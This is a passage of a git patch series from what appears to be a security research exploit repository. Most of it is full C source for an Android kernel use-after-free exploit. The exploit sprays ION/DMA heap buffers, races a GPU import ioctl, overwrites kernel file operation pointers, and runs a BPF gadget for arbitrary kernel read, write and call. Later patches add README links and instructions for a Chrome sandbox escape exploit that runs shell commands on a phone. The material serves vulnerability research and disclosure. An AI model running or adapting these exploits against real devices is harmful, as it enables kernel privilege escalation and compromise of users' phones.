pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) + { + perror("[-] pthread_create"); + goto fail; + } + } + + while (g_nb_realloc_thread_ready < nb_reallocs) + sched_yield(); + + printf("[+] %lu reallocation threads ready!\n", nb_reallocs); + + return 0; + +fail: + printf("[-] failed to initialize reallocation\n"); + return -1; +} + +//------------------------ Specifics to trigger the bug------------------------------------- + +struct trigger_uaf_arg { + int fd; + unsigned int read; +}; + +void* trigger_uaf(void* arg) { + + migrate_to_cpu(CPU1); + struct trigger_uaf_arg* trigger_arg = (struct trigger_uaf_arg*)arg; + struct dma_buf_sync sync; + struct timeval start, end; + long micros_used, secs_used; + if (trigger_arg->read) { + sync.flags = DMA_BUF_SYNC_READ; + } else { + sync.flags = DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END; + } + sync.flags |= DMA_BUF_SYNC_USER_MAPPED; + while (!g_trigger_now); + for (int i = 0; i < DELAY; i++); + gettimeofday(&start, NULL); + ioctl(trigger_arg->fd, DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)); + gettimeofday(&end, NULL); + secs_used=(end.tv_sec - start.tv_sec); //avoid overflow by subtracting first + trigger_time = ((secs_used*1000000) + end.tv_usec) - (start.tv_usec); + printf("micros_used: %ld\n",trigger_time); + return NULL; +} + +void* read_pipe(void* arg) { + int buffer[80]; + + migrate_to_cpu(CPU1); + int fd = *((int*)arg); + read(fd, buffer, sizeof(buffer)); + g_unlocked_read = 1; + close(fd); + while(!g_finished_read); + return NULL; +} + +void* ion_map(void* arg) { + migrate_to_cpu(CPU0); + int fd = *((int*)arg); +#ifdef SPRAY_1 + while (!g_map_now); +#endif + for (int i = 0; i < G_REGION_LEN; i++) { + g_ion_regions[i] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, i * 0x1000); + if (g_ion_regions[i] == MAP_FAILED) { + err(1, "ion region map %d failed", i); + } + } + return NULL; +} + +void* gpu_import(void* arg) { + migrate_to_cpu(CPU0); + struct kgsl_gpuobj_import* par = (struct kgsl_gpuobj_import*)arg; + int kgsl_fd = par->id; + par->id = 0; + while (!g_import_now); +#ifndef SPRAY_1 + for (int i = 0; i < G_REGION_LEN; i++) { + munmap((void*)(g_ion_regions[i]), 0x1000); + } +#endif + if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, par) < 0) { + err(1, "IOCTL_KGSL_GPUOBJ_IMPORT 2 failed.\n"); + } + return NULL; +} + +uint64_t compute_alignment(size_t power) { + return (uint64_t)((power << 16) & 0xFF0000); +} + +//Fill out kgsl memory so the next one will fail +void prepare_gpu_import(int kgsl_fd, uint64_t* regions) { + + for (int i = 0; i < MMAP_LEN - 1; i++) { + struct kgsl_gpuobj_import par; + struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = regions[i]}; + par.flags = compute_alignment(ORDER); + par.priv = (uint64_t)(&useraddr); + par.type = KGSL_USER_MEM_TYPE_ADDR; + par.priv_len = 0x1000; + par.id = 0; + if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par) < 0) { + err(1, "IOCTL_KGSL_GPUOBJ_IMPORT %d\n", i); + } + } +} + +//-----------------------------------bounce buffer and buddy heap spraying-------------------- + +struct bounce_buffer_param { + int rpc_fd; + int ion_fd; + int process_fd; + int args_fd; + char* process_region; + char* args_region; + char* sys_region; + int null_fds[SLAB_LEN]; +}; + +void spray_system_heap(int ion_fd, struct bounce_buffer_param* param) { + //First round spraying, use large chunk up the memory pool. + for (int i = 0; i < REGIONS_LEN_1; i++) { + struct ion_allocation_data ion_alloc_data; + ion_alloc_data.len = SYS_LEN_0; + ion_alloc_data.flags = 1; + ion_alloc_data.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + err(1, "ION_IOC_ALLOC bounce failed\n"); + } + ion_sys_fds[i] = ion_alloc_data.fd; + } + //Second round spraying, use single page so we can map it to bounce buffer. + for (int i = 0; i < REGIONS_LEN_2; i++) { + struct ion_allocation_data ion_alloc_data; + ion_alloc_data.len = SYS_LEN; + ion_alloc_data.flags = 1; + ion_alloc_data.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + err(1, "ION_IOC_ALLOC bounce failed\n"); + } + ion_sys_fds2[i] = ion_alloc_data.fd; + } + + //Spray with null files to create new slab + for (int i = 0; i < SLAB_LEN; i++) { + param->null_fds[i] = open("/dev/null", 0); + } + + + //set the top and bottom as bounce regions + if (BOUNCE_LEN < 2) { + err(1, "bounce len has to be greater than or equal to 2\n"); + } + //Use region2 to map the rest of the bounce buffer. + for (int i = 0; i < BOUNCE_LEN; i++) { + if (i == 1) continue; + bounce_regions[i] = ion_sys_regions[i] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i], 0); + if (bounce_regions[i] == MAP_FAILED) { + err(1, "bounce regions failed\n"); + } + bounce_fds[i] = ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i]; + } + //Last of region 1 should be below the new slab, map it to the first bounce region + bounce_regions[1] = ion_sys_regions[1] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1], 0); + if (bounce_regions[1] == MAP_FAILED) { + err(1, "bounce regions failed\n"); + } + bounce_fds[1] = ion_sys_fds2[REGIONS_LEN_2 - 1]; +} + +void allocate_bounce_buffer(struct bounce_buffer_param* param) { + + int ion_fd = open("/dev/ion", O_RDONLY); + if (ion_fd == -1) { + err(1, "cannot open ion\n"); + } + + spray_system_heap(ion_fd, param); + int rpc_fd; + + int rpc_id = open("/dev/adsprpc-smd", 0); + if (rpc_id == -1) { + err(1, "cannot open rpc\n"); + } + printf("rpc opened\n"); + uint32_t info_ptr[1]; + info_ptr[0] = 3; + + if(ioctl(rpc_id, FASTRPC_IOCTL_GETINFO, info_ptr) < 0) { + err(1, "rpc getinfo failed\n"); + } + + for (int i = 0; i < BOUNCE_LEN; i++) { + struct remote_dma_handle dma = {.fd = bounce_fds[i], .offset = 0}; + union remote_arg args[1]; + args[0].dma = dma; + + struct fastrpc_ioctl_invoke invoke = {0}; + invoke.handle = 0x3; + invoke.sc = 16; + invoke.pra = &(args[0]); + unsigned int attrs = 16; + struct fastrpc_ioctl_invoke_attrs crc; + crc.inv = invoke; + crc.attrs = &attrs; + crc.fds = &(bounce_fds[i]); + ioctl(rpc_id, FASTRPC_IOCTL_INVOKE_ATTRS, &crc); + } + param->rpc_fd = rpc_fd; + param->ion_fd = ion_fd; + return; +} + +void sync_bounce_buffer(int read, int index) { + struct dma_buf_sync sync; + sync.flags = DMA_BUF_SYNC_RW; + if (read) { + sync.flags |= DMA_BUF_SYNC_END; + } + if (ioctl(bounce_fds[index], DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)) < 0) { + err(1, "error syncing bounce buffer %d\n", index); + } +} + +void sync_bounce_buffers(int read) { + printf("[+] syncing bounce buffers\n"); + for (int i = 0; i < BOUNCE_LEN; i++) { + sync_bounce_buffer(read, i); + } +} + +//----------------------------Utils for finding addresses and faking objects------------------------------------ + +//Fetch the pointer to the wait_list in struct file to calculate own address, then +//take away offset to calculate controlled ion buffer address. +unsigned long calculate_ion_addr(long offset, int region) { + long wait_list_offset = offset + 0x38; + long total_offset = wait_list_offset + (region - 2)* SYS_LEN; + unsigned long* wait_list_addr = (unsigned long*)(&(ion_sys_regions[region][wait_list_offset])); + printf("null file addr: %lx\n", *wait_list_addr); + return *wait_list_addr - total_offset - SYS_LEN; +} + +void overwrite_fops(int region, long offset, unsigned long ion_addr) { + unsigned long* fops_addr = (unsigned long*)(&(ion_sys_regions[region][offset])); + printf("overwrite fops %lx\n", fops_addr[1]); + fops_addr[1] = ion_addr; + return; +} +//overwrite file mode to allow lseek +void overwrite_fmode(int region, long offset) { + long fmode_offset = offset + 0x28; + unsigned int* fmode = (unsigned int*)(&(ion_sys_regions[region][fmode_offset])); + printf("overwrite fops %x\n", fmode[0]); + //Add fmode lseek + *fmode |= 0x4; + return; +} + +long search_null_fops(char* data, size_t len, unsigned long* result) { + size_t left = len; + char* curr = data; + unsigned long* curr_long; + //Observed pattern of a null file struct. These are right after the null_fops + const char null_pattern[32] = { + 0, 0, 0, 0, 0, 0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0x2, 0, 0x1d, 0, 0x2, 0, 0, 0, 0, 0, 0, 0, 0, 0 + }; + + while (left) { + if (left >= 64) { + //match + if (!memcmp(curr + 16, &(null_pattern[0]), 32)) { + curr_long = (unsigned long*)curr; + *result = curr_long[1]; + if ((*result >> 48) == 0xffff) { + return curr - data; + } + } + } + curr += 16; + left -= 16; + } + return -1; +} + +long search_dma_fops(char* data, size_t len, unsigned long* result) { + size_t left = len; + char* curr = data; + unsigned long* curr_long; + //Observed pattern of a dma file struct. These are right after the dma_fops + const char dma_pattern[32] = { + 0, 0, 0, 0, 0, 0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0, + 0x2, 0, 0, 0, 0x7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + }; + + while (left) { + if (left >= 64) { + //match + if (!memcmp(curr + 16, &(dma_pattern[0]), 32)) { + curr_long = (unsigned long*)curr; + *result = curr_long[1]; + if ((*result >> 48) == 0xffff) { + return curr - data; + } + } + } + curr += 16; + left -= 16; + } + return -1; +} + +int find_null_fops() { + unsigned long null_fops; + for (int i = 2; i < BOUNCE_LEN; i++) { + if (ion_sys_regions[i] != 0) { + long offset = search_null_fops(&(ion_sys_regions[i][0]), SYS_LEN, &null_fops); + if (offset != -1) { + printf("[+] Found null_fops at %d region offset %ld %lx\n", i, offset, null_fops); + ion_addr = calculate_ion_addr(offset, i); + bpf_addr = null_fops - NULL_TO_BPF; + printf("[+] ion region location: %lx\n", ion_addr); + printf("[+] bpf addr: %lx\n", bpf_addr); + overwrite_fops(i, offset, ion_addr); + overwrite_fmode(i, offset); + return i; + } + } + } + printf("[-] Failed to find null_fops\n"); + return -1; +} + +int find_dma_fops() { + unsigned long dma_fops; + for (int i = 2; i < BOUNCE_LEN; i++) { + if (ion_sys_regions[i] != 0) { + long offset = search_dma_fops(&(ion_sys_regions[i][0]), SYS_LEN, &dma_fops); + if (offset != -1) { + printf("[+] Found dma_buf_fops at %d region offset %ld %lx\n", i, offset, dma_fops); + ion_addr = calculate_ion_addr(offset, i); + bpf_addr = dma_fops - DMA_TO_BPF; + printf("[+] ion region location: %lx\n", ion_addr); + printf("[+] bpf addr: %lx\n", bpf_addr); + overwrite_fops(i, offset, ion_addr); + overwrite_fmode(i, offset); + return i; + } + } + } + printf("[-] Failed to find dma_buf_fops\n"); + return -1; +} + +void dump_memory(int i) { + char name[64]; + snprintf(name, sizeof(name), "/data/local/tmp/mem_dump/mem_dump%u.bin", i); + + FILE* fptr = fopen(name, "wb"); + if (fptr == NULL) { + err(1, "error open dump file\n"); + } + + for (int i = 2; i < 64; i++) { + if (ion_sys_regions[i] != 0) { + fwrite(&(ion_sys_regions[i][0]), SYS_LEN, 1, fptr); + } + } + + fclose(fptr); +} + +//----------------------------------------------exploit part----------------------------------------- + +void do_one_rw(uint64_t dma_address, size_t length, uint64_t* regions, char* ion_region, int* ion_alloc_fds, unsigned int read) { + struct realloc_thread_arg rta[NB_REALLOC_THREADS]; + memset(rta, 0, sizeof(rta)); + if (init_reallocation(rta, NB_REALLOC_THREADS, dma_address, length)) { + err(1, "[-] failed to initialize reallocation!\n"); + } + + int kgsl_fd; + + kgsl_fd = open("/dev/kgsl-3d0", 0); + if (kgsl_fd == -1) { + err(1, "cannot open kgsl\n"); + } + + prepare_gpu_import(kgsl_fd, regions); + + struct kgsl_gpuobj_import par; + struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = (uint64_t)ion_region}; + par.flags = 0x1F0000; + par.type = KGSL_USER_MEM_TYPE_ADDR; + par.priv_len = 0x1000; + par.priv = (uint64_t)(&useraddr); + par.id = 0; + + pthread_t trigger_tid; + struct trigger_uaf_arg arg = {.fd = ion_alloc_fds[0], .read = read}; + + if (pthread_create(&trigger_tid, NULL, trigger_uaf, &arg) != 0) { + err(1, "[-] pthread_create trigger"); + } + int pipe_write[PIPE]; + for (int i = 0; i < PIPE; i++) { + int pipe_fd[2]; + pipe(pipe_fd); + + pthread_t rw_tid; + if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) { + err(1, "[-] pthread_create read"); + } + pipe_write[i] = pipe_fd[1]; + struct sched_param sched_par = {0}; + + if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par) != 0) { + err(1, "[-] set priority for rw failed\n"); + } + } + + struct kgsl_gpuobj_import par2; + par2.flags = 0x1000; + par2.priv_len = 0x1000; + par2.id = kgsl_fd; +#ifdef DMA_SPRAY + struct kgsl_gpuobj_import_dma_buf buf = {.fd = ion_alloc_fds[2]}; + par2.type = KGSL_USER_MEM_TYPE_DMABUF; + par2.priv = (uint64_t)(&buf); +#else + struct kgsl_gpuobj_import_useraddr useraddr2 = {.virtaddr = regions[MMAP_LEN - 1]}; + par2.type = KGSL_USER_MEM_TYPE_ADDR; + par2.priv = (uint64_t)(&useraddr2); +#endif + + struct sched_param sched_par = {0}; + + if (pthread_setschedparam(trigger_tid, SCHED_IDLE, &sched_par) != 0) { + err(1, "[-] set priority for trigger failed\n"); + } + + + char write_char; + write_char = 'a'; + + migrate_to_cpu(CPU0); + + pthread_t import_tid; + if (pthread_create(&import_tid, NULL, gpu_import, &par2) != 0) { + err(1, "[-] pthread gpu_import"); + } +#ifdef SPRAY_1 + pthread_t ion_map_tid; + if (pthread_create(&ion_map_tid, NULL, ion_map, &(ion_alloc_fds[1])) != 0) { + err(1, "[-] pthread_create ion_map"); + } +#endif + sleep(1); +#ifndef SPRAY_1 + ion_map(&(ion_alloc_fds[1])); +#endif + + ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par); +#ifdef SPRAY_1 + g_map_now = 1; + sched_yield(); + sleep(1); + while (!g_ion_regions[G_REGION_LEN - 1]); + for (int i = 0; i < G_REGION_LEN; i++) { + munmap((void*)(g_ion_regions[i]), 0x1000); + } +#endif + g_import_now = 1; + sched_yield(); + sleep(1); + + struct kgsl_gpumem_free_id id = {.id = par2.id}; + + g_trigger_now = 1; + for (int i = 0; i < PIPE; i++) { + write(pipe_write[i], &write_char, 1); + } + while (!g_unlocked_read); + ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_FREE_ID, &id); + g_realloc_now = 1; + sched_yield(); // don't run me, run the reallocator threads! + sleep(5); + g_finished_read = 1; + + close(kgsl_fd); + struct msghdr mhdr; + unsigned int size = 0; + for (int i = 0; i < NB_REALLOC_THREADS; i++) { + while (size == 0) { + if ((size = recvmsg(rta[i].recv_fd, &mhdr, MSG_DONTWAIT)) < 0) { + err(1, "receive"); + } + } + size = 0; + } + if (trigger_time < TRIGGER_THRESH) { + printf("[-] Failed to win the race\n"); + } else { + printf("[+] Read/Write operation succeeded\n"); + } + for (int i = 0; i < PIPE; i++) { + close(pipe_write[i]); + } + reset_globals(); +} + +size_t compute_ion_region_size() { + return (1 << ORDER) - 0x1000 * (VMAS_LEN + 2); +} + +int init_tmp_region(int ion_fd, char** tmp_ion_regions, char** ion_region) { + int ion_alloc_fd = -1; + + struct ion_allocation_data ion_alloc_data; + ion_alloc_data.len = 1 << ORDER; + ion_alloc_data.flags = 1; + ion_alloc_data.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + err(1, "ION_IOC_ALLOC 1 failed\n"); + } + + ion_alloc_fd = ion_alloc_data.fd; + if (ion_alloc_data.len < 0x1000 * (VMAS_LEN + 2)) { + err(1, "VMAS_LEN too large\n"); + } + + size_t ion_region_size0 = compute_ion_region_size(); + + tmp_ion_regions[0] = mmap(NULL, ion_region_size0, PROT_READ | PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0x1000); + if (tmp_ion_regions[0] == MAP_FAILED) { + err(1, "map failed tmp region 0"); + } + + *ion_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, 0x2000); + if (ion_region == MAP_FAILED) { + err(1, "map failed"); + } + + for (int i = 0; i < VMAS_LEN; i++) { + tmp_ion_regions[i + 1] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, ion_alloc_data.len - 0x1000 * (VMAS_LEN - i)); + if (tmp_ion_regions[i + 1] == MAP_FAILED) { + err(1, "map tmp failed %d", i); + } + } + return ion_alloc_fd; +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + int ion_alloc_fds[3]; + + struct bounce_buffer_param p; + allocate_bounce_buffer(&p); + + uint64_t regions[MMAP_LEN]; + for (int i = 0; i < MMAP_LEN; i++) { + regions[i] = (uint64_t)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); + if ((void*)(regions[i]) == MAP_FAILED) { + err(1, "mmap %d failed", i); + } + } + + char* ion_region; + char* tmp_ion_regions[VMAS_LEN + 1]; + + int ion_fd = open("/dev/ion", O_RDONLY); + if (ion_fd == -1) { + err(1, "cannot open ion\n"); + } + + struct ion_allocation_data ion_alloc_data2; + ion_alloc_data2.len = 0x1000 * G_REGION_LEN; + ion_alloc_data2.flags = 1; + ion_alloc_data2.heap_id_mask = ION_HEAP(19); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data2) < 0) { + err(1, "ION_IOC_ALLOC 2 failed\n"); + } + + ion_alloc_fds[1] = ion_alloc_data2.fd; +#ifdef DMA_SPRAY + struct ion_allocation_data ion_alloc_data3; + ion_alloc_data3.len = 0x1000 * NENTS; + ion_alloc_data3.flags = 1; + ion_alloc_data3.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data3) < 0) { + err(1, "ION_IOC_ALLOC failed bounce 1\n"); + } + ion_alloc_fds[2] = ion_alloc_data3.fd; +#endif + size_t ion_region_size0 = compute_ion_region_size(); + for (int i = 0; i < 5; i++) { + ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region); + do_one_rw(DMA_ADDRESS, SYS_LEN * BOUNCE_LEN, regions, ion_region, &(ion_alloc_fds[0]), 0); + sleep(1); + sync_bounce_buffers(0); + + printf("done read %d\n", i); + if (trigger_time > TRIGGER_THRESH) { +#ifdef DEBUG_MEM_DUMP + dump_memory(i); +#endif + int null_region_index = find_null_fops(); + int dma_region_index = find_dma_fops(); + int region_index = -1; + enum region_type type; + if (null_region_index != -1 && dma_region_index != -1) { + if (null_region_index < dma_region_index) { + region_index = null_region_index; + type = null; + } else { + region_index = dma_region_index; + type = dma; + } + + } else if (null_region_index != -1) { + region_index = null_region_index; + type = null; + } else if (dma_region_index != -1) { + region_index = dma_region_index; + type = dma; + } + + if (region_index != -1) { + if (region_index < 2) { + err(1, "region index calculation error\n"); + } + unsigned long* fops = (unsigned long*)(&(ion_sys_regions[1][0])); + for (int i = 0; i < 10; i++) { + fops[i] = bpf_addr; + } + sync_bounce_buffers(1); + unsigned long bpf_data_address = ion_addr + 2048; + unsigned long __bpf_call_base = bpf_addr - BPF_TO_BASE; + unsigned long* bpf_data = (unsigned long*)(&(ion_sys_regions[1][2048])); + trigger_time = 0; +//-------BPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html ------------------------------------------------------- + //bpf program to run + struct bpf_insn insn[] = { + // Load base address. + /* 0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address), + + // Load R7 = (in:data + 0); this is the operation to perform. + /* 2 */ BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, bpf_op_offset), + + // Check if this operation is 'r'. + /* 3 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'r', +4), + // Load R1 = *(in:data + 8); this is the read address. + /* 4 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset), + // Load R1 = *R1. + /* 5 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0), + // Store *(out:data + 8) = R1. + /* 6 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, bpf_out_offset), + // Done. + /* 7 */ BPF_JMP_A(13), + + // Check if this operation is 'w'. + /* 8 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'w', +4), + // Load R1 = *(in:data + 8); this is the write address. + /* 9 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset), + // Load R2 = *(in:data + 10); this is the value to write. + /* 10 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0), + // Store *R1 = R2. + /* 11 */ BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), + // Done. + /* 12 */ BPF_JMP_A(8), + + // Check if this operation is 'x'. + /* 13 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'x', +7), + // Load R1 = *(in:data + 10); this is the first argument. + /* 14 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_arg0), + // Load R2 = *(in:data + 18); this is the second argument. + /* 15 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg1), + // Load R3 = *(in:data + 20); this is the third argument. + /* 16 */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2), + // Load R4 = *(in:data + 28); this is the fourth argument. + /* 17 */ BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, bpf_arg3), + // Load R5 = *(in:data + 30); this is the fifth argument. + /* 18 */ BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_6, bpf_arg4), + // Call R0 = function(R1, R2, R3, R4, R5). This call gets patched. + /* 19 */ BPF_EMIT_CALL(__bpf_call_base - 4), + // Store *(out:data + 8) = R0. + /* 20 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x108), + // Done. Fallthrough. + + // Store *(out:data + 0) = R7, i.e., record the operation that we just executed. + /* 21 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0x100), + }; +//------------------------------------------------------------------------------------------------------------------ + while (1) { + ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region); + do_one_rw(DMA_ADDRESS, SYS_LEN * (region_index + 1), regions, ion_region, &(ion_alloc_fds[0]), 1); + printf("running bpf program\n"); + + unsigned long bpf_insn_addr = ion_addr + 1024; + memcpy(&(ion_sys_regions[1][1024]), insn, sizeof(insn)); + bpf_data[128] = 12345; + //set up read + bpf_data[bpf_op_offset/8] = 'r'; + bpf_data[bpf_rw_addr_offset/8] = bpf_data_address + 1024; + switch(type) { + case null: + for (int i = 0; i < SLAB_LEN; i++) { + lseek64(p.null_fds[i], bpf_insn_addr, 0); + } + break; + case dma: + for (int i = 0; i < REGIONS_LEN_1; i++) { + lseek64(ion_sys_fds[i], bpf_insn_addr, 0); + } + for (int i = 0; i < REGIONS_LEN_2; i++) { + lseek64(ion_sys_fds2[i], bpf_insn_addr, 0); + } + break; + default: + break; + } + printf("bpf_data 0x%lx\n", bpf_data[bpf_out_offset/8]); + if (bpf_data[bpf_out_offset/8] == 12345) { + printf("[+] successful read\n"); + break; + } + } + break; + } + } + munmap(tmp_ion_regions[0], ion_region_size0); + munmap(ion_region, 0x1000); + for (int i = 0; i < VMAS_LEN; i++) { + munmap(tmp_ion_regions[i + 1], 0x1000); + } + sleep(5); + } + + for (int i = 0; i < 3; i++) { + close(ion_alloc_fds[i]); + } + + close(ion_fd); + + for (int i = 0; i < BOUNCE_LEN; i++) { + munmap(bounce_regions[i], SYS_LEN); + } +} From 91f6630811ea8baa3959ad500894976c716539c5 Mon Sep 17 00:00:00 2001 From: buherator Date: Tue, 9 Mar 2021 21:45:04 +0100 Subject: [PATCH 023/140] Added Java example query (JMS deserialization) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index fc8c8ee..0cc0268 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ We use it for these main purposes: * Java * [Apache Struts CVE-2018-11776](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776) + * [Insecure JMS deserialization in Spring applications](https://github.com/silentsignal/jms-codeql/) * C/C++ * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407) * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560) From bb6ff5435d4b3eef4e6a7a7dfe6ed334b4f0a3f5 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 10 Mar 2021 11:13:25 +0000 Subject: [PATCH 024/140] Add PR link to the issue template. --- .github/ISSUE_TEMPLATE/all-for-one.md | 6 ++++++ .github/ISSUE_TEMPLATE/bug-slayer.md | 6 ++++++ 2 files changed, 12 insertions(+) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.md index 0622292..e6b8580 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.md +++ b/.github/ISSUE_TEMPLATE/all-for-one.md @@ -7,6 +7,12 @@ assignees: '' --- +## Query + +*Link to pull request with your CodeQL query:* + +Relevant PR: https://github.com/github/codeql/pull/nnnn + ## CVE ID(s) *List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).* diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.md b/.github/ISSUE_TEMPLATE/bug-slayer.md index c0ba339..2300214 100644 --- a/.github/ISSUE_TEMPLATE/bug-slayer.md +++ b/.github/ISSUE_TEMPLATE/bug-slayer.md @@ -7,6 +7,12 @@ assignees: '' --- +## Query + +*Link to pull request with your CodeQL query:* + +Relevant PR: https://github.com/github/codeql/pull/nnnn + ## CVE ID(s) *List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).* From 4dbcfe6666758d404c4cfdfe683642916f162870 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 10 Mar 2021 12:26:24 +0000 Subject: [PATCH 025/140] Add GHSL-2020-165 --- .../SandboxEscape/GHSL-2020-165/README.md | 37 ++++ .../GHSL-2020-165/copy_mojo_js_bindings.py | 20 ++ .../GHSL-2020-165/payment_request_clip.html | 192 ++++++++++++++++++ .../GHSL-2020-165/payment_request_clip2.html | 22 ++ .../payment_request_jam_clip.html | 9 + .../SandboxEscape/GHSL-2020-165/sbx.patch | 16 ++ 6 files changed, 296 insertions(+) create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html create mode 100644 SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md new file mode 100644 index 0000000..b66fc24 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md @@ -0,0 +1,37 @@ +## Chrome Beta Sandbox Escape GHSL-2020-165 + +The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_sbx). This is a bug in the beta version of Chrome v86 I reported in September 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-165-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?1125614). The bug can be used to escape the Chrome sandbox from a compromised renderer. + +The exploit is tested on the 64 bit beta version 86.0.4240.30 of Chrome with the following build config (`args.gn`): + +``` +target_os = "android" +target_cpu = "arm64" +is_java_debug = false +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +``` + +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) + +It should succeed most of the time and rarely crash. If successful, it'll run the shell command in the `command` variable in the file `payment_request_clip.html`, which would create a file called `pwn` under the directory `/data/data/org.chromium.chrome/`. It can be replaced with other shell commands. + +To test, check out version 86.0.4240.30 of Chrome following [these instructions](https://chromium.googlesource.com/chromium/src/+/master/docs/android_build_instructions.md), then apply the file `sbx.patch` to the simulate a compromised renderer. Then build the `chrome_public_apk` target. + +Install the resulting apks (under `out//apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer: + +1. Enable `Enable command line on non-rooted devices` from `chrome://flags` +2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file +3. Force stop Chrome and restart + 